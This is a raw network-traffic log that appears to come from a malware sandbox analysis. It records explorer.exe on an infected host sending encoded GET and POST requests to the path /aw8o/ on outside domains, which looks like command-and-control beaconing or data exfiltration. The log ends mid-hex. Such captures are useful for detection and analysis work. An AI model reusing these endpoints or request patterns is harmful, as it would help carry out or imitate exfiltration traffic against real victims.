5Nag0d=LDmQ0boLgs2r1ur2Del8gP194tu6jdNhzql0Lt/8lvaGr0+L0JV0Q5zQS9QMdeCeq0CzK1Gvu6i5jkp9vWlHa1lfnhskUAztdXzelSsK8+GTzehQKhsdoiqp5tHh4Xkb0xMU8k9TmoV+V13bBgyCCq/65aK8JcKVsWDmz6Y4R8CExztR/VuXm1/uvvMMX4LQ1n5q3NrL7JRFuHjOOKhkONjVyDu2hcwnc2FOAzg89D913C7AiLKkZYQuY9B9c8+CNidSnsos1we50ILB+SVSj5LNMqFeZ1FmFOH6uPG3vESIFR0d8YlhkQiTq1CVqzj0IFm90D5KqsQ0JNocYOv6heCMQHSHjUUaCQ1EeVBPAQCehUMYGBrxN0d9Rem5IJxfbVNtJSSOJ+ncbbDyVidrn5JSVuZYzjSSeCYMXkehwK6IbixcJKva0Rsrfc3W8R6bkehJ8emiJohlxci51FXEVY83+G5s9GhgUOV57O5n/OofTV1Yfpeo8owJPVQ54NvYlJeOK3499okzqAwM6T8txsPa/4XJB7cNysqHUPJmwwzkyQzmqEArBNKFSdlriO3/IoCCl0UkhS0ZggGVKn8reg7PlzzXu77hCSltYmoez1fbuODcZNYaUdCBPChT2+wN4DBzJkp+iCbKI++w/YROlsgojobBrGyoQHkfk4XuEhhIwoRh0NDl7pvvEsfWgWlcFuPyZjIAohFkGeodv8PHiCt2YKgyTeAyRme/6SJgQYkDwF/TWAuMSQUGareqAv/cUGbKV1WWcgD8DHYtLoLT+A1eUBAILkbBidVHt7168yOpLiGw/UzydzwUHucSB1X2AxvY8YrWa96MTqwgqQ7AYp9zbPqd+IUZfGem90IcxCWEXLtC5agr41gTBLpm6ur1sE6tD2aZMqBlBzBEiColPy99j7TWfkKbVKsGoLnNwUvDZbfWmz3j7a7rZO7p3xCYp28SVav3oL5/khL7aawzm5vnPkvCNLKoEbdHLa0QAolduu9GGgNY5eeGfiqoHUgK67yRHmxPuUkxkjAcdInYr4C7lVkkosVtDxUCWPOsikNhhBjsnS5aTWpLSVDwk/lKVl8OiQNnNV1NMdctl547x4w0Ak/c74LuscLwKf2WLIwRe7t15rL0ab5rxgf1oSvzbAVgyfo4rrTRn0/vqZqMrtQ7JvKlnNQ8PrX2Hk5KHYAoTaB2zeKleQ1X3x1L2mEP3nYlleEmFk9zo/yTLqSHYm9zSvhm/AYmuBGkBB8B6J1S5fYBbMdObZO7fPVT0Pu5nM1Ezel+GPoh9IEuHTdcIBcjiXEXshCV05ldhQepFy1PYUdlm3jL13WXvu8m3UxIfBNjwaEQduQgAkVK1bSyU3cEZ92rwI4QR4qJak86X/5s+bJ+2+Kf8f52+HO0LBLIfq30jP6RMzvNV/oXzR3KxIyouM5NEXXtAAqtqD4XH4GHOajmSl2cfSqFdB7Or9RV6cp9U3BWo9Z2ginsEDw5m1jGbXwyrgkY7u4q8c0JwiQCXCvZoqMk4h2rOZVPalzCII4UkxvdyRy4wCOluvtY47u0E5CBW1avgO3CRBysUHVP+kcLT4yqFCGsykEakjvC61xjaBGLooGcXDE4pSblfcMyqqY/bijF7b7m5rdOT0q8hkpllhGlaltJksenzPF98cdQO0frSPh9UC2R6QAdq5btjl30BtGc8DSQrYJx7r41iQrybvwjPbbpSo/CRii95X9ACsMJqo7u8R+T1DTbmLb3or1fMoyadPZ3ZGVVTL2mrYehxrJ7eZCCZTjJgl333kAhQS/4Vqna0t41CC4ZTojhhrniKEGuWGx2SLFkg7w+2ROf67r5dZso8RSoFwNx5ooDio9d1J9ehDkSd8ovqsy2brpttOiJM7k8PGgsDkiwUObexHufUo3L4Mp+20n2/mMKLckEn/rL7+UkTZYSJ2kqnpGCnWo9QsnERxyWFq2EZMb9QuDQbAQELjM9lhiyiiZ1oa8G+tZkbypu+OmI7J+NFsdWshBiKcWqA6xjtlKvoy/BjMY3hDbdzHDe3+q8ZXN4OAWIqN+mFaPJ58HxoOD4uMoIxPwfpDaSXFPYKrJJfXI22DdF3xAVEEIW+6vNNmxhUAUx60ZbiTkMOEx8oCufIb0Op99ZswNHL4pmRFQFFGBjBtOobSSo+P85mClE4qHpl/E1wwXqT7mPPzYFc+Tl2MQOBU2ZcWzIJ/n+0thgwtEhIh5c0t0Wfdi6ULNnDm3Tm738lNJ28mGNiAV2vgEoT4TDG8gtV0maix9YBmGnsYGZA1Ypi/+aqttfCUsvf5ekARQZxWvR9eQ5IDoHFIzq+5jBQv6clYpK7mPCmBlHruThPt293hkuMwt2PhQgaBy19xZTDOyrOHvXjJPgofxcobJ9NVM8J3R74S1YUjdZ6K/7XhoZC/YVEY1neTRGganz/24Sk7UmGvFN3kklanQQsphneZt27rDuMiNkVdMiU9Ogfht3yi/+cBUjTyhVxJckknooi5lAL9UMRAX6evaa8dEbjX1cbPR4ulIX9LFKKQBxnOoI5lFvdXu+QjhXnPkEa0fwN2/vdITFTTi1TKTIAwN+0XHqv/2gE3ibJS45sMNVBrE5WAV70o3TKYSZrd0OD/gwQOITjvIu66ghwbxXTQe4q+jes8XERFFVOgWjovD8qhHSVOLmURjkVmJVip+ZhnYpujw6esgp5CeI2fLc0qXi+lSePY7ydzIsltE7vw4l0kGnQuijBzp7g4a67t8JBUpJELzQ+Enfxfhzf0cuPx5jSTbqI0/cGPuLLePdUBLryMXxkvz4vgwIP43IJ2ONgUsRpDFfszH/54h+ZlYMcuvhQRwSJ8pmh1eCqW1njDKl1ogzDHzUNGNM3hVmVwQHsvmEMhMR4kfqD2jX43OPQCkzWhqadfAPmeOsLDFoMuxYEYx2hJdP/rRz7sSdFZA5sHu5lTeBgzIq6gI5qb0ywnrILjzglh3wjZooi8uR/OjWC4oNtR8EjGugjUk2j557Zj/DfsskRQCvo7I1xeUJFlu4k/83kNoOANR3+ASKsEQhIym0mJjYF05g0TzVib0syA9QHn9KkfbZScyZdNV8Taw/Z+eCTaoX48pxlGYXbBgtTjUuqOkkgTG74nFT3e1wrLw6P5dcnMblHSS4V2iEN7S+SxZu90Ba/f9gY7Rkawob96fLz1RFIyeJJRDhMm/Sa+Ukk6GavQRhlCADu+h4/lSxXjuhk2jTvdzJB2KofrG6sqC3+ZlTWa9XmK2uwSaeIA5kDWmAOBnm3Xvnvv9D+XMxNqDksJFUZLenqeT56VQcYLK1LhEzt/gIbYUWfFqG9wCFn9i1H2cLhYdylnSmJi2wCk9tG28+S1pcmmwpzCApP+RhLPY75jG1kyOWcKDbiHKjq80JrC9ucR6VrLIjkKLthFPRer3SaUr3aFMdZrUDOiDf3CzjWszj5nRbdnsnZGmLNPBFtiDWurGW9LKcdqlC3sMDsYR9y5qTCYQVAMH+xwA/4CeLpzD4Jk7gv3b4k4/zdh6vl6P1rl/AjBg67q3SRxejbSD03l2hEFNXU4tGF05LAkeEcgtG363MYFwMjhiBoZmgCkukuFM6jwaYebwBkwdCkU7liixfxrpYEjSrPPR/zymoHKCA5LKLj/QEPRpwLYBXgl5uzi4h917zNHQcGCXKXzsl1c7BPhaIXxw+8B/Sl77KJfB0B5BHUqdlu/EQs0AVwhpXwCL0Be+b8f7D54XHqQ33iKZHeSMrnTCgzNrC+xAbHMB1zbgB5Iu52gz8r315zGSAJon9mT+4zuqw992v1gcMhWBvLLWgkMOD50hX5lNcEETC/A27VJkvOfadqABpGq6B3Ugq7a7aVvLbHQr+cKWOr+nNVPNNKN8FPoU6feuPcoiqr3zWrQXx1GwbTiUjwH+v52SHeH44a4N/deUHR7+h8x9zRESQQ9iRT+SARdHucM9ZEegp8LGgn8h51jJ1Ky7QwdQ7e0ZZyDlQGInligqF2pjN+AG7h7MWdNWo2b/2+68idMkLt/vhLwtpbjxiot2PssEk9m3i042f4IBt8BNti5HJMnUzNcu
Aug 29, 2023 22:47:05.401554108 CEST	1835	OUT	Data Raw: 52 42 48 65 41 58 7a 35 44 45 4e 67 32 67 44 36 61 37 43 32 74 6c 4b 64 52 72 37 45 34 63 6b 57 76 7a 72 67 2b 51 57 45 49 79 44 71 77 2b 6c 76 38 68 39 48 62 55 2f 73 78 4b 76 4a 6b 48 51 4f 39 69 4b 73 6b 65 38 79 66 2f 64 7a 61 6b 2f 76 46 4b Data Ascii: RBHeAXz5DENg2gD6a7C2tlKdRr7E4ckWvzrg+QWEIyDqw+lv8h9HbU/sxKvJkHQO9iKske8yf/dzak/vFKqbiWVrE3B2CM9N/SJSNvx9V5tVwPmdmYkT6EAYC4TBL8Pxl1E67pnaBfXjWQWsSHRPOkAKT/l8zgpuIcWyCE7GC5JLskARU84tQaJITGTlegSssamSiCvxJjR+1CMrFP8ULjUI5r7WABobtoVsozVdMHg/scPeN9w
Aug 29, 2023 22:47:05.593585014 CEST	1838	OUT	Data Raw: 36 50 6f 6b 6f 41 53 78 77 36 31 54 70 68 2b 6d 34 37 2f 6c 72 33 75 59 6b 31 56 52 7a 41 73 34 71 4f 73 63 4f 68 77 43 4e 69 79 56 53 32 4c 54 55 51 52 41 79 79 64 4b 6a 43 74 41 4c 36 75 56 68 6c 37 4a 76 2f 49 6d 6a 70 49 4f 77 4b 72 2b 33 71 Data Ascii: 6PokoASxw61Tph+m47/lr3uYk1VRzAs4qOscOhwCNiyVS2LTUQRAyydKjCtAL6uVhl7Jv/ImjpIOwKr+3qpiFsAOjkJwdre3H5vBQSP/xxyum1lDpPjG8eas5df56+2r68dHVW94tYYvE+SBvpzG45vZ7OWfBm/AcahcEIqvjE5U0htpxCXgAJmITBDJJyLXwlNtlYoqMX6qCQ+2TW7RO/hcsRdf9eQzjgqEdmdlurjottFlxbN
Aug 29, 2023 22:47:05.593619108 CEST	1838	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:47:05 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Aug 29, 2023 22:47:05.593679905 CEST	1848	OUT	Data Raw: 31 4b 76 79 69 66 45 39 76 4c 43 71 6a 38 75 4e 70 62 31 33 4f 63 48 75 37 55 76 6f 6a 2b 6b 4c 43 36 75 50 77 34 66 6b 37 62 30 75 64 6c 71 62 55 32 71 30 31 46 36 31 61 46 30 5a 45 77 38 77 72 30 2b 6b 45 77 30 35 61 70 51 6b 55 36 56 51 30 66 Data Ascii: 1KvyifE9vLCqj8uNpb13OcHu7Uvoj+kLC6uPw4fk7b0udlqbU2q01F61aF0ZEw8wr0+kEw05apQkU6VQ0f7xKD9FqacHMmsYdLOYokVz0HS7cJMTJ2nHMLIK15bSSbbnV1G+VfuuvG5UQdL28sL5pZM9ohp7KkPWySod/fT398B8dJYgKvytuJeFLqqRKbBPiKybAyo3ceQHDqUqSdZ5OlrUp87i1z7961TD0TR4UddzMCfPmOe
Aug 29, 2023 22:47:05.593966961 CEST	1852	OUT	Data Raw: 77 30 4c 59 65 2f 4d 76 41 2f 61 75 2f 48 48 6a 5a 4b 5a 49 63 4f 63 57 32 53 57 73 61 6e 38 68 4a 75 58 48 4b 55 30 50 79 51 37 6c 77 44 7a 2b 61 77 32 73 67 68 36 69 42 62 77 34 52 6b 42 6f 64 59 41 56 49 30 43 58 50 4f 71 71 64 41 34 51 66 58 Data Ascii: w0LYe/MvA/au/HHjZKZIcOcW2SWsan8hJuXHKU0PyQ7lwDz+aw2sgh6iBbw4RkBodYAVI0CXPOqqdA4QfXm5HA0tdmlA3JajKvlFuQUafzg34t5ckOH0byNCTuWOxvvXTwOi+ALyaWMp/8O47GIIq28y7QDqm1PbNbsVNNMIvoOrDCxu8VJ9u8Y38qU+oXDA/mQTS0EsH+vr/Ub5duhHih92fDwKycVmFK+esVcP6FzDzroQvhT
Aug 29, 2023 22:47:05.594146967 CEST	1859	OUT	Data Raw: 76 74 42 79 56 31 4f 6d 75 4d 43 4a 71 5a 30 6b 36 31 57 6f 69 73 54 43 32 61 49 68 41 2f 66 33 64 71 62 72 44 55 62 71 6c 73 6b 50 78 68 53 78 63 31 6f 2b 4f 66 6f 6a 7a 34 45 36 41 6d 32 48 66 72 6a 6d 71 31 5a 74 46 52 50 34 4a 35 79 6e 77 39 Data Ascii: vtByV1OmuMCJqZ0k61WoisTC2aIhA/f3dqbrDUbqlskPxhSxc1o+Ofojz4E6Am2Hfrjmq1ZtFRP4J5ynw91mcool+yB8TEkn+ozAyk4O+VptM9JkREGg/pcwJMHzAqXP09wAQhK/+eB5QtF0E1ThaNWY2paWhCz+xHSyQ5tfJSCZX37j7X2M5YwJCBldnPwRMc45v5rtlHVymNcUvkrO7g7i9uLvYkHwznUs3F5KhosH9b7n8yK
Aug 29, 2023 22:47:05.594217062 CEST	1861	OUT	Data Raw: 46 76 70 51 62 39 51 75 34 4e 4c 58 45 38 76 53 4e 45 2b 35 75 51 6b 63 67 48 35 75 73 68 4c 39 6f 32 32 31 39 33 62 52 32 63 79 52 76 32 53 56 59 4d 6d 79 57 55 61 54 76 33 43 6c 62 33 50 67 6c 45 6e 69 64 51 61 70 71 44 4a 62 43 73 65 39 44 44 Data Ascii: FvpQb9Qu4NLXE8vSNE+5uQkcgH5ushL9o22193bR2cyRv2SVYMmyWUaTv3Clb3PglEnidQapqDJbCse9DDhjIynEwHYZ6PF3+pDXWH6FqzssXWg7zfNwP+jHJb7/CXRuXZfJ2NB905KdoiDNoCpIn0fAbrzv3A/QO66rKoqfXQEXy1+pNh86cyi1jL+zlZ5tcX83nOfTRGoxZQxwZP+rDXGoGuCa/dHWJng3J2feUZBdtgv3SaS
Aug 29, 2023 22:47:05.785691977 CEST	1866	OUT	Data Raw: 38 50 78 6e 4e 52 47 57 42 77 2f 48 74 7a 35 57 42 70 74 4d 48 46 6a 4c 62 46 6b 48 46 6e 43 74 73 53 45 4c 72 65 68 4b 59 63 63 71 34 59 38 4e 6e 66 5a 68 37 53 36 78 50 6c 47 33 66 37 31 61 4e 79 6f 55 65 42 51 44 57 37 5a 4f 4a 4f 38 69 2f 6c Data Ascii: 8PxnNRGWBw/Htz5WBptMHFjLbFkHFnCtsSELrehKYccq4Y8NnfZh7S6xPlG3f71aNyoUeBQDW7ZOJO8i/lNavJwVxx0tSkVSWmg3OpwMxxj9H+noWrJLKks880WVphhdo+Q2QsM6vss3MFRGXKnj60hsW79NUDDNS5ywIVS0u9fXpc5sI++re7ttp5RUL55j2lo5HrDWaQGlosUZONa8qX5P+UINxSjT61MaE4MaRsJ0tWn9DiT
Aug 29, 2023 22:47:05.785783052 CEST	1874	OUT	Data Raw: 32 61 53 2b 6e 35 41 48 78 4d 55 44 67 52 54 37 4d 78 2b 7a 58 44 71 44 4b 4b 5a 58 6d 4d 67 68 45 56 63 4d 46 53 79 4a 36 73 45 4a 78 4b 57 39 51 32 55 46 43 66 6c 6d 4f 79 4f 31 33 49 33 32 71 68 58 76 47 2b 6f 4f 64 73 41 32 55 54 46 54 51 70 Data Ascii: 2aS+n5AHxMUDgRT7Mx+zXDqDKKZXmMghEVcMFSyJ6sEJxKW9Q2UFCflmOyO13I32qhXvG+oOdsA2UTFTQpqmn7OZA8WU1Mwn4t/LLYs1CdrvJ6jKRpPgNRJ18XwzglHDWrFe4zvO19SCmfSiz6vcF5ENrl1NULbzRLKL4q72xN7hz6XBLgHfcZhdNXk3poF2V7XvleELMt45zOVL3OmnVpdBrqYI2RmheKDFoqGC0nfeqxDTexH
Aug 29, 2023 22:47:05.785959959 CEST	1876	OUT	Data Raw: 54 6b 50 6b 65 78 47 58 48 4d 53 68 4d 74 36 77 36 49 54 6c 63 72 50 71 77 2b 54 44 69 62 4f 49 68 45 70 69 4b 6e 79 73 35 73 45 78 33 48 74 4c 66 2b 33 65 6a 30 46 45 73 38 4e 37 33 67 67 31 37 71 61 4f 57 72 67 49 6b 44 38 4b 6e 59 67 78 4c 59 Data Ascii: TkPkexGXHMShMt6w6ITlcrPqw+TDibOIhEpiKnys5sEx3HtLf+3ej0FEs8N73gg17qaOWrgIkD8KnYgxLYupbyPXqPhivK7l7HzH876iHbYGREuDndiNQUysOkq0zOm1tlDcxRBfRVuW77PM7OwC3RsDEgFWr+NCubvP1Jx7qkYevQRn9KNr+1imruyvgiZV7fhFUSLZtvIq5U2Wn07YwLH1JVa9loHiG4twVWMUPW3jTnsYT3U

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.11.20	50027	154.206.192.10	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:47:08.123403072 CEST	1878	OUT	GET /aw8o/?5Nag0d=GBOw3tITmfDYzPv1Gplg/OBQ6u+M49Yd381yHdPnhZfF1keMrdAtO6STXIkAR++l8WXoCS7jpfWLq35hpjVKbHNe3A10AVq0Vg==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.americanpawnstar.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:47:08.319421053 CEST	1878	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:47:08 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.11.20	50028	81.169.145.171	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:47:13.379509926 CEST	1879	OUT	POST /aw8o/ HTTP/1.1 Host: www.wobita.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wobita.net Referer: http://www.wobita.net/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 4d 73 56 4c 76 69 71 39 6a 47 70 38 57 4f 65 77 52 35 70 48 5a 34 32 30 4e 58 67 73 54 67 59 69 59 71 6e 6d 56 69 53 61 6a 2f 44 62 4b 70 67 70 33 6c 44 6f 52 64 39 6d 48 44 2f 34 6b 6b 6b 56 32 61 78 47 37 41 4e 35 42 6c 30 55 73 48 49 47 31 57 6c 2b 37 2f 33 57 54 78 32 4b 53 6b 37 35 2b 34 72 59 5a 42 37 76 72 4b 44 34 35 51 2b 68 64 4f 54 52 4c 44 4c 71 76 54 53 59 33 4a 43 76 64 4e 2f 71 42 2b 6d 79 36 6c 35 62 6d 46 42 37 47 43 7a 33 66 78 77 54 56 47 76 4a 75 78 36 6e 45 67 43 62 4c 69 52 61 37 6e 57 4c 51 7a 67 71 31 51 3d 3d Data Ascii: 5Nag0d=MsVLviq9jGp8WOewR5pHZ420NXgsTgYiYqnmViSaj/DbKpgp3lDoRd9mHD/4kkkV2axG7AN5Bl0UsHIG1Wl+7/3WTx2KSk75+4rYZB7vrKD45Q+hdOTRLDLqvTSY3JCvdN/qB+my6l5bmFB7GCz3fxwTVGvJux6nEgCbLiRa7nWLQzgq1Q==
Aug 29, 2023 22:47:13.392323017 CEST	1880	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:47:13 GMT Server: Apache/2.4.57 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.11.20	50029	81.169.145.171	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:47:15.921277046 CEST	1881	OUT	POST /aw8o/ HTTP/1.1 Host: www.wobita.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wobita.net Referer: http://www.wobita.net/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 4d 73 56 4c 76 69 71 39 6a 47 70 38 45 2b 4f 77 58 61 42 48 62 59 32 33 55 6e 67 73 63 41 59 6d 59 71 6a 6d 56 67 2f 42 6a 4a 54 62 4b 4a 51 70 32 6b 44 6f 53 64 39 6d 4d 6a 2f 39 37 30 6b 4f 32 61 39 30 37 46 31 35 42 6c 67 55 76 56 77 47 39 47 6c 2f 7a 66 33 56 55 78 32 4a 66 45 37 6b 2b 34 6d 35 5a 41 76 76 72 62 37 34 34 57 4b 68 4c 50 54 65 64 54 4c 6b 72 6a 53 62 2b 70 43 68 64 4e 7a 45 42 37 44 48 36 58 6c 62 6d 6b 68 37 46 43 7a 32 4e 68 77 55 5a 6d 75 6d 6f 55 50 49 45 69 4b 7a 53 6e 31 46 34 47 54 42 62 32 49 6c 71 64 36 35 6f 6f 78 48 36 46 55 6c 79 53 71 36 74 78 75 63 51 73 58 72 2f 45 6a 7a 43 6a 48 45 75 63 79 6f 6c 6b 4b 5a 71 33 46 31 2b 34 48 38 41 4a 68 49 31 55 55 39 79 37 50 63 4d 66 6b 51 4f 64 56 63 62 53 71 6b 6d 62 41 4d 4f 6d 38 38 41 57 30 43 46 61 57 53 44 71 4b 5a 71 55 37 4c 57 72 56 53 67 68 33 38 65 55 31 34 41 5a 51 53 75 6b 48 62 77 6d 49 35 4f 64 6a 33 50 39 68 56 6d 51 76 2b 54 4e 33 55 2b 69 68 6b 73 2b 4e 6a 45 64 44 58 74 76 43 51 57 39 57 42 57 7a 35 54 78 48 50 71 68 62 79 6c 33 77 44 54 74 71 70 6b 72 44 48 72 51 67 63 64 70 2f 53 32 54 6b 33 4d 61 71 62 41 6a 77 37 55 4a 43 73 66 6c 4d 35 61 47 74 69 50 7a 35 75 43 42 77 56 63 59 4c 77 62 6e 53 34 48 4d 45 54 64 30 35 32 58 78 79 37 64 56 70 43 57 69 33 33 2f 52 6a 74 53 2b 4b 7a 48 72 6e 6c 37 70 68 65 43 4b 4d 31 52 4d 67 70 7a 68 6b 35 49 35 68 75 41 35 4d 59 71 30 36 4f 77 77 2f 34 2b 54 5a 6f 62 36 5a 5a 77 62 30 54 6b 5a 36 36 50 64 4b 36 70 63 69 51 72 68 62 48 4e 67 4d 67 49 35 4e 4c 5a 48 78 69 72 5a 6f 6f 66 6c 64 7a 42 4e 43 73 3d Data Ascii: 5Nag0d=MsVLviq9jGp8E+OwXaBHbY23UngscAYmYqjmVg/BjJTbKJQp2kDoSd9mMj/970kO2a907F15BlgUvVwG9Gl/zf3VUx2JfE7k+4m5ZAvvrb744WKhLPTedTLkrjSb+pChdNzEB7DH6Xlbmkh7FCz2NhwUZmumoUPIEiKzSn1F4GTBb2Ilqd65ooxH6FUlySq6txucQsXr/EjzCjHEucyolkKZq3F1+4H8AJhI1UU9y7PcMfkQOdVcbSqkmbAMOm88AW0CFaWSDqKZqU7LWrVSgh38eU14AZQSukHbwmI5Odj3P9hVmQv+TN3U+ihks+NjEdDXtvCQW9WBWz5TxHPqhbyl3wDTtqpkrDHrQgcdp/S2Tk3MaqbAjw7UJCsflM5aGtiPz5uCBwVcYLwbnS4HMETd052Xxy7dVpCWi33/RjtS+KzHrnl7pheCKM1RMgpzhk5I5huA5MYq06Oww/4+TZob6ZZwb0TkZ66PdK6pciQrhbHNgMgI5NLZHxirZoofldzBNCs=
Aug 29, 2023 22:47:15.933900118 CEST	1882	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:47:15 GMT Server: Apache/2.4.57 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.11.20	50031	81.169.145.171	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:47:18.452121019 CEST	1885	OUT	POST /aw8o/ HTTP/1.1 Host: www.wobita.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wobita.net Referer: http://www.wobita.net/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 4d 73 56 4c 76 69 71 39 6a 47 70 38 45 2b 4f 77 58 61 42 48 62 59 32 33 55 6e 67 73 63 41 59 6d 59 71 6a 6d 56 67 2f 42 6a 4a 62 62 4b 36 59 70 33 44 2f 6f 54 64 39 6d 44 7a 2f 38 37 30 6c 55 32 5a 4d 39 37 46 4a 50 42 6e 59 55 32 6c 41 47 2b 30 64 2f 6c 50 33 59 62 52 32 4c 53 6b 36 7a 2b 34 72 2b 5a 41 37 5a 72 4c 6e 34 35 52 4f 68 64 73 37 52 41 54 4c 71 72 6a 53 58 70 35 43 44 64 4e 33 55 42 37 50 48 36 56 68 62 6e 57 5a 37 48 78 72 32 53 52 77 58 58 47 75 70 68 30 50 70 45 6d 69 6e 53 6e 31 2f 34 48 58 42 62 77 49 6c 72 61 57 32 76 49 78 48 77 6c 55 36 32 53 6d 2b 74 31 4f 45 51 73 54 72 2f 43 6e 7a 51 54 48 45 6f 39 79 72 73 6b 4b 62 75 33 46 63 70 6f 4c 6b 41 4a 6c 36 31 52 6b 39 79 4c 62 63 4f 75 6b 51 64 76 39 63 46 69 71 63 72 37 42 4b 48 47 39 6c 41 53 52 74 46 65 61 6f 44 74 79 5a 72 30 62 4c 54 4b 56 52 70 68 33 2b 52 30 30 69 57 70 63 57 75 6b 58 58 77 6d 49 70 4f 66 50 33 50 75 35 56 6e 54 33 